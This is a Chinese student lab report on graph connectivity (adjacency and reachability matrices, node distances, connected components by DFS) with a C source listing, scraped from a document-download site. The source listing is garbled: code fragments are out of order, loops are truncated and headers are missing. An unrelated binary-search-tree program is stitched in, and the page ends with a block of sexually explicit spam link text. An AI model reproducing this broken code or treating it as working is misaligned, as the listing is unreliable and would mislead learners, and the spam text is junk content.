在無向圖中,如果任何兩點可達,則稱圖G是連通的,如果G的子圖G’是連通的,沒有包含G’的更大的子圖G’’是連通的,則稱G’是G的連通支。

當有判斷出關系不是連通的之后,將需要求出分支模塊

實現方法如下:先定義一個二維數組用來存放相應的分塊,先選定一個點,并將它放在數組中,然后判斷,如果后面的和他是聯通的便將它也放在同一個數組中,否則將其存入其他的數組中,后面以此類推,在輸出相應的數組,便可判斷出連通分支。

2.2 實驗過程(算法描述)

2.2.1 程序整體思路 本程序完成了實驗所要求的全部功能,其基本思路是——“運用模塊化的思想,將實現“求連通支”、“輸入結點關系”、“輸出鄰接矩陣”、“顯示兩結點間的距離”、“求可達矩陣”和“圖的遍歷”的子函數分開編寫,然后將它們以子函數的形式添加到主函數main的代碼后面,在要使用相應的子函數時,進行子函數調用就可以實現相應的功能了。”

本程序的一大特色就是開發者靈活使用了C語言中的數組概念來進行開發,用數組來模擬矩陣的運算,通過相應的算法實現了全部的功能。2.2.2具體算法流程

在main(){系統界面顯示;用do…while循環語句和switch語句實現功能liantongzhi(){求連通支,此子函數通過一個for循環控制遍歷每個結點,并調1,2,3……的選擇,并調用相關的子程序;用start、goto start實現控制流的轉移;} 用函數DFS()求每個結點的連通支;} 離散數學實驗三實驗報告

DFS(int a){通過實參與形參,將結點數據代入函數;定義順序棧變量;通過for循環初始化;為a置已訪問標志,已經訪問了的元素為1;定義順序棧的第一個元素;通過while循環實現結點遍歷,棧不為空時執行循環;棧頂元素賦值;通過for循環尋找v的下個未訪問的鄰接點;通過if條件句,若x,i是邊和節點i未被訪問過,處理結點的訪問,并進行訪問標志,進棧等操作;通過if條件句,若v已訪問到的出點,則將其退棧;}

shuru(){輸入結點關系;通過for循環先將矩陣所有元素賦值0;再通過另一linjiejuzhen(){輸出鄰接矩陣;通過for循環,依次按格式輸出鄰接矩陣的元素;} julijuzhen(){根據A的n次方矩陣及其中元素,判斷并顯示兩結點間的距離;for循環,根據輸入結點的關系,將矩陣中相應的元素賦值,有關系則為1;} 調用子函數linjiejuzhen(),以確定并顯示距離為1的兩結點;通過for循環顯示距離為1的結點對;再通過一系列的for循環,計算A的n次方矩陣并顯示結果,根據其中的元素,判斷并顯示結點間的距離;詳細算法請見附錄相關部分的注釋;} kedajuzhen(){求可達矩陣;通過一系列for循環,根據公式,計算可達矩陣;通過for循環,將矩陣中不為0的一切值賦為1以生成可達矩陣并顯示;通過for循環和if條件句的組合,根據可達矩陣的元素特點,判斷圖的連通性,若可達矩陣矩陣中有0,則跳出循環,顯示不可連接;根據判斷結果顯示內容,不可連通或可連通;} 離散數學實驗三實驗報告

第三章 實驗數據及結果分析

3.1建立圖的鄰接矩陣并判斷圖是否連通的功能測試及結果分析

簡單無向圖的輸入界面友好,有清楚的操作說明,方便用戶進行使用。

這就是集合的輸入界面。3.1.1輸入無向圖的邊 當“6,5”時,表示輸入的是六個節點五條邊的樹。

程序會在屏幕上顯示輸入節點間關系的界面,輸入的關系為“1,2;2,3;3,4;4,5;5,6” 離散數學實驗三實驗報告

3.1.2建立圖的連接矩陣

程序返回主界面后,選擇“2”,程序會顯示建立的連接矩陣。離散數學實驗三實驗報告

3.2 其他功能的功能測試和結果分析

3.2.1計算節點間的距離 當選擇“3”時,程序便會輸出各節點間的距離。

3.2.2判斷圖的連通性

當選擇“4”時,程序會根據可達矩陣判斷圖的連通性。離散數學實驗三實驗報告

3.2.3輸出圖的連通支

當選擇“5”時,程序會輸出個連通支。

3.2.4退出系統

當選擇“6”時,程序會退出系統。離散數學實驗三實驗報告

第四章 實驗收獲和心得體會

4.1 實驗收獲

這次離散數學實驗是基于圖論方面知識,以圖的各種矩陣為基礎,來研究圖的一些性質、特點。

我獨立完成了本次實驗設計,實現了A、B、C三個功能,滿足了實驗的基本要求,心得如下。

通過這次實驗,我學會了用C語言根據圖的矩陣表示法建立鄰接矩陣A,并利用矩陣的乘法和加法求出可達矩陣,從而判斷圖的連通性。鞏固了課堂所學的圖論方面的有關知識,并在實踐中學到:圖中兩點i,j間的距離可以通過檢驗Al中使得aij為1的最小的l值求出;圖的連通支的求法可采用圖的遍歷算法,圖的遍歷有深度優先和廣度優先兩種方法,其中深度優先算法又分為遞歸和非遞歸兩種。我選擇的算法是較為簡單、易于實現的深度優先算法最簡單,查閱了相關資料,掌握了此算法的核心,最后獨立完成了本次實驗設計。

這次離散數學實驗,從拿到題目到完成整個編程,從理論到實踐的日子里,我學到很多東西,不僅可以鞏固了以前所學過的知識,而且通過查閱相關資料,學到了很多在書本上所沒有學到過的知識。在這段時間里,我對于離散數學中的“邏輯”有了進一步的理解,對C語言的理解也更進了一步,并提高了編寫實驗報告、總結實驗結果的能力,提高了理論聯系實際的能力,初步具備程序設計的思想,能夠獨立完成簡單的算法設計和分析。

感受最深的是,大量的上機實踐是成為“編程高手”的必由之路,“質變”需要有“量”的積累。

完成程序的編寫,決不意味著萬事大吉。曾經自己認為萬無一失的程序,實際上機運行時可能不斷出現麻煩,如編譯程序檢測出一大堆錯誤。有時程序本身不存在語法錯誤,也能夠順利運行,但是運行結果顯然是錯誤的。開發環境所提供的編譯系統無法發現這種程序邏輯錯誤,只能靠自己的上機經驗分析判斷錯誤所在。有時候一個小小錯誤會消耗我好的時間去找,而高手一眼就看出錯誤所在,這就是熟練程度的不同,量變到質變的不同。離散數學實驗三實驗報告

4.2 心得體會

這次真的使我意識到了很多原來沒有意識到的問題,有時候一些很小的問題,也會令人很是頭痛。

在剛開始編寫程序的時候,為了實現最基本的輸入和輸出功能,我卻花了大量的時間在那上面。原因在后來查閱的很多資料后才知道的,像scanf函數之類的小函數,其實是還有很多需要注意的地方的。

之后,在編寫數組和指針的過程中,花了很大的一部分時間去研發算法,開發程序,在理論上反復證明沒有問題之后,再在計算機上進行操作,編寫代碼,進行調試,反復了很久,才慢慢的實現了全部的功能,真的是來之不易。在實驗的過程中我們要培養自己的獨立分析問題,和解決問題的能力。培養這種能力的前題是你對每次實驗的態度。如果你在實驗這方面很隨便,抱著等老師教你怎么做,拿同學的報告去抄,盡管你的成績會很高,但對將來工作是不利的。在寫實驗報告,對于思考題,有很多不懂,于是去問老師,老師的啟發了我,其實答案早就擺在報告中的公式,電路圖中,自己要學會思考。

最后,通過這次的實驗我不但對理論知識有了更加深的理解,對于實際的操作和也有了質的飛躍。經過這次的實驗,我們整體對各個方面都得到了不少的提高,希望以后學校和系里能夠開設更多類似的實驗,能夠讓我們得到更好的鍛煉。離散數學實驗三實驗報告

第五章 實驗源程序清單

5.1 程序代碼

#include /*頭文件*/ #include #include

#define MAX 100/*宏定義*/ typedef struct { int elem[MAX];

int top;}SqStack;/*定義棧的結構體,順序棧的類型標識符*/

void shuru();/*各子函數聲明*/ void linjiejuzhen();void julijuzhen();void kedajuzhen();void liantongzhi();void DFS(int a);

int A[9][9],B[9][9],C[9][9],D[9][9];int i,j,k,t,v,e;int main(){ int a1;離散數學實驗三實驗報告

printf(“*********************************************************************start:

{ printf(”n“);do **********n”);

printf(“n”);printf(“tttt系

單n”);printf(“ntt1.輸入無向圖的邊ntt2.建立圖的鄰接矩陣ntt3.計算節點間的距離n”);printf(“tt4.由可達矩陣判斷圖的連通性ntt5.輸出各個連通支(深度優先DFS法)ntt6.退出系統n”);

printf(“********************************************************************* printf(”n“);***********n”);

printf(“n”);printf(“ntttt請輸入功能選項:”);fflush(stdin);/*清空輸入緩沖區,通常是為了確保不影響后面的數據讀取*/ scanf(“%d”,&a1);switch(a1)/*switch語句實現選擇功能*/ { case 1:system(“cls”);shuru();break;/*輸入節點關系,計算鄰接矩陣*/ case 2:system(“cls”);fflush(stdin);linjiejuzhen();break;/*輸出鄰接矩陣*/ case 3:system(“cls”);fflush(stdin);julijuzhen();break;/*求距離矩陣*/ case 4:system(“cls”);fflush(stdin);kedajuzhen();break;/*求可達矩陣*/ 離散數學實驗三實驗報告

}

void liantongzhi()/*求連通支,此子函數控制遍歷每個結點*/ {

} void DFS(int a)/*由深度優先DFS法求出并顯示各個連通支*/ {

int i,x;int top=0;int visited[MAX];SqStack s;/*定義s為順序棧變量*/ for(i=0;i<100;i++)visited[i]=0;/*初始化為0*/

case 5:system(“cls”);fflush(stdin);liantongzhi();break;/*求連通支*/ case 6:system(“exit”);exit(0);/*結束整個程序的運行*/ default:system(“cls”);goto start;/*控制流轉移到start處*/ } }while(1);

for(i=1;i<=v;i++){

} printf(“%d”,i);DFS(i);/*調用子函數求連通支*/ printf(“n”);離散數學實驗三實驗報告

}

void shuru()/*輸入結點關系*/ {

printf(“*********************************************************************visited[a-1]=1;/*為a置已訪問標志,已經訪問了的元素為1*/ top=top+1;

s.elem[top]=a-1;/*順序棧的第一個元素*/ while(top!=0)/*棧不為空時執行循環*/ {

} x=s.elem[top];/*將棧頂元素付給x*/ for(i=0;i

if(D[x][i]!=0 &&(!visited[i]))/*若x,i是邊和節點i未被訪問過*/ {

} printf(”->%d“,i+1);visited[i]=1;/*為i置已訪問標準*/ top=top+1;

s.elem[top]=i;/*i進棧*/ break;if(i==v)/*若v已訪問到的出點,則將其退棧*/ top--;

**********n”);printf(“n”);離散數學實驗三實驗報告

printf(“tt請輸入結點數和邊數(形式如6,5):n”);scanf(“%d,%d”,&v,&e);/*輸入結點和邊數*/ for(i=0;i

}

for(j=0;j

}

A[i][j]=0;C[i][j]=0;B[i][j]=0;D[i][j]=0;

printf(“n”);printf(“*******************************************************************************n”);

printf(“tt請輸入結點間的關系(形式如:1,2):n”);printf(“n”);

for(k=0;k

scanf(“%d,%d”,&i,&j);

A[i-1][j-1]=1;/*根據輸入結點的關系,將矩陣中相應的元素賦值*/ A[j-1][i-1]=1;

B[i-1][j-1]=1;B[j-1][i-1]=1;

D[i-1][j-1]=1;離散數學實驗三實驗報告

}

void linjiejuzhen()/*輸出鄰接矩陣*/ {

}

void julijuzhen()/*根據A的n次方矩陣及其中元素,判斷并顯示兩結點間的距離*/ {

linjiejuzhen();/*調用子函數,以確定并顯示距離為1的兩結點*/ for(i=1;i<=v;i++){ } D[j-1][i-1]=1;

system(“cls”);

printf(“鄰接矩陣A為:n”);for(i=0;i

} printf(“n”);

for(j=0;j

printf(“t%5d”,A[i][j]);/*顯示鄰接矩陣*/

for(j=1;j<=v;j++)離散數學實驗三實驗報告

} for(k=2;k<=v-1;k++)/*計算并顯示距離大于1的兩節點*/ {

} }

printf(“nn”);printf(“距離為%d的矩陣(即A%d)為:n”,k,k);{

for(i=0;i

{

} if(A[i-1][j-1]==1)printf(“結點%d與結點%d的距離為:%dn”,i,j,1);for(j=0;j

for(t=0;t

C[i][j]=C[i][j]+B[i][t]*A[t][j];/*計算矩陣中的元素*/ for(i=0;i

for(j=0;j

}

B[i][j]=C[i][j];/*將計算出的結果賦予B矩陣*/ C[i][j]=0;

for(i=0;i

{

}

for(j=0;j

printf(“n”);for(i=1;i<=v;i++)

for(j=1;j<=v;j++){ if(A[i-1][j-1]==0 && B[i-1][j-1]!= 0 && i!=j)/*判斷條件,以確定輸出對象(相關的點)*/

}

void kedajuzhen()/*求可達矩陣*/ {

int l=1;printf(“可達矩陣為:n”);for(i=0;i

for(j=0;j

} printf(“n”);} printf(“結點%d與結點%d的距離為:%dn”,i,j,k);B[i][j]=A[i][j];離散數學實驗三實驗報告

}

}

C[i][j]=0;

}

} C[i][j]=0;

for(k=0;k

for(i=0;i

for(j=0;j

for(t=0;t

C[i][j]=C[i][j]+B[i][t]*A[t][j];/*根據公式計算可達矩陣*/ for(i=0;i

for(j=0;j

D[i][j]=C[i][j]+D[i][j];/*根據公式計算可達矩陣*/

for(i=0;i

for(j=0;j

B[i][j]=C[i][j];/*根據公式計算可達矩陣*/

for(i=0;i

{

}

for(j=0;j

D[i][j]=1;

if(D[i][j]>=1)/*將矩陣中不為0的一切值賦為1以生成可達矩陣*/ for(i=0;i

}

for(j=0;j

printf(“t%5d”,D[i][j]);/*顯示可達矩陣*/ printf(“n”);

for(i=0;i

} if(l==0)/*根據上一步判斷結果顯示內容*/ else printf(“ntttt該圖可連通!”);printf(“ntttt該圖不連通!”);

for(j=0;j #include 離散數學實驗三實驗報告

#include using namespace std;typedef int datatype;typedef struct node { datatype key;struct node *lchild,*rchild;}bsnode;typedef bsnode *bstree;void insertbstree(bstree *t,datatype x){ bstree f,p;p = *t;//cout<

{

//if(x ==(p->key))//

// return;

f = p;

if(x < p->key)

p = p->lchild;

else

p = p->rchild;離散數學實驗三實驗報告

//f = p;} //f = p;p =(bstree)malloc(sizeof(bsnode));

p->key = x;p->lchild=p->rchild=NULL;if(*t == NULL)

*t = p;else {

if(x <(f->key))

f->lchild = p;

else

f->rchild = p;}

} bstree creatbstree(bstree t){

datatype key;離散數學實驗三實驗報告

//scanf(“%d”,&key);cin>>key;while(key!=-1){

insertbstree(&t,key);

//scanf(“%d”,&key);

cin>>key;}

return t;}

void inorder(bstree t)

{

if(t)

{

inorder(t->lchild);

printf(“%d ”,t->key);inorder(t->rchild);

}

}

int main(void){

bstree t = NULL,p;

離散數學實驗三實驗報告

//printf(“請輸入一個-1為結束標記的結點序列:n”);cout<<“創建一個輸入-1為作為結束標記:排序二叉樹:”<

//inorder(creatbstree(t));inorder(p);return 0;}

下載中南大學單片機實驗報告..(含五篇)word格式文檔
下載中南大學單片機實驗報告..(含五篇).doc
將本文檔下載到自己電腦,方便修改和收藏,請勿使用迅雷等下載。
點此處下載文檔

文檔為doc格式


聲明:本文內容由互聯網用戶自發貢獻自行上傳,本網站不擁有所有權,未作人工編輯處理,也不承擔相關法律責任。如果您發現有涉嫌版權的內容,歡迎發送郵件至:645879355@qq.com 進行舉報,并提供相關證據,工作人員會在5個工作日內聯系你,一經查實,本站將立刻刪除涉嫌侵權內容。

相關范文推薦

    中南大學多媒體實驗報告[5篇模版]

    《多媒體技術》 實驗報告 學 院: 信息科學與工程學院 班 級: 學 號: 姓 名: 1 目錄 實驗一 圖像采集與編輯實驗 .............................................. 3 一、 二、......

    單片機實驗報告[范文模版]

    實 實 驗 驗 報 報 告實驗課程: 單片機原理及應用班級: 12 自動化 2 班 學號:姓名:教師:張玲 成績:實 驗 日 期 :年 月 日 實驗名稱: 實驗 1-—計數顯示器一、實驗目得: 學習Prot......

    單片機實驗報告

    《單片機原理及應用》 實 驗 報 告 2017—2018學年第一學期 班級: 152 專業: 電子科學與技術 姓名: 子路 學號: 教師: 實驗一:Keil C51 一、實驗目的 1、熟悉Keil C51單片機應用......

    單片機實驗報告

    目錄 第一章單片機簡介.................................................... 2 第二章實驗要求.................................................. 3 第三章實驗設備.........

    單片機實驗報告

    單片機實驗報告 一、實驗目的 1.熟練使用Keil、Protues兩款軟件 2.通過上機操作,增強個人動手實踐能力 3.加深對理論知識的理解 4.培養運用匯編語言進行初步編寫程序的能力......

    單片機實驗報告

    實驗四、中斷交通燈實驗 林立強1000850116 一、實驗目的 1、了解MCS-51單片機的組成、中斷原理,中斷處理過程、外部中斷的中斷方式。 2、掌握中斷響應及處理的編程方法。 二......

    單片機實驗報告

    51單片機控制流水燈 目錄 (1)51精簡開發板簡介 (2)實驗目的 (3)實驗內容 (4)元件 (5)原理圖 (6)實驗步驟 (7)主要功能介紹(8)實驗錯誤及分析 (9)調試及程序 (10)系統測試 (11)實驗心得 一、51精簡......

    單片機實驗報告大全

    單片機原理與應用實學校:合肥工業大學 班級:計算機科學與技術 學號: 姓名:驗報告 第一章MC51 單片機原理及應用軟件實驗 實驗1:系統認識實驗 1. 實驗目的 (1)了解ZY15MCU12BC2單片......

主站蜘蛛池模板: 风流少妇按摩来高潮| 伊人久在线观看视频| 久久无码超清激情av| 无码av片av片av无码| 亚洲女女女同性video| 亚洲成a人片在线播放| 西西人体自慰扒开下部93| 嫩草伊人久久精品少妇av| 中国老太婆bb无套内射| 欧美牲交a欧美牲交aⅴ图片| 精品欧洲av无码一区二区| 亚洲精品无码永久在线观看你懂的| 2018亚洲а∨天堂| 丰满人妻熟妇乱又伦精品视| 日韩精品无码一区二区三区视频| 动漫h无码播放私人影院| 无线日本视频精品| 中文字幕无码日韩专区| 欧日韩无套内射变态| 久久发布国产伦子伦精品| 日韩夜夜高潮夜夜爽无码| 无码专区—va亚洲v专区vr| 亚洲成a人片77777群色| 国产精品三级av及在线观看| 国产美女极度色诱视频www| 少妇被粗大的猛烈进出免费视频| 免费国产白丝喷水娇喘视频| 精品无码人妻夜人多侵犯18| 国产精品制服一区二区| 欧洲精品成人免费视频在线观看| 一区二区久久久久草草| 国产剧情无码播放在线观看| 日本道精品一区二区三区| 国产亚洲精品久久久久久老妇小说| 亚洲—本道 在线无码| 国产福利视频在线精品| 久久99精品久久久影院老司机| 日本高清色倩视频在线观看| 色欲av无码无在线观看| 99在线精品视频观看免费| 老师脱了内裤让我进去|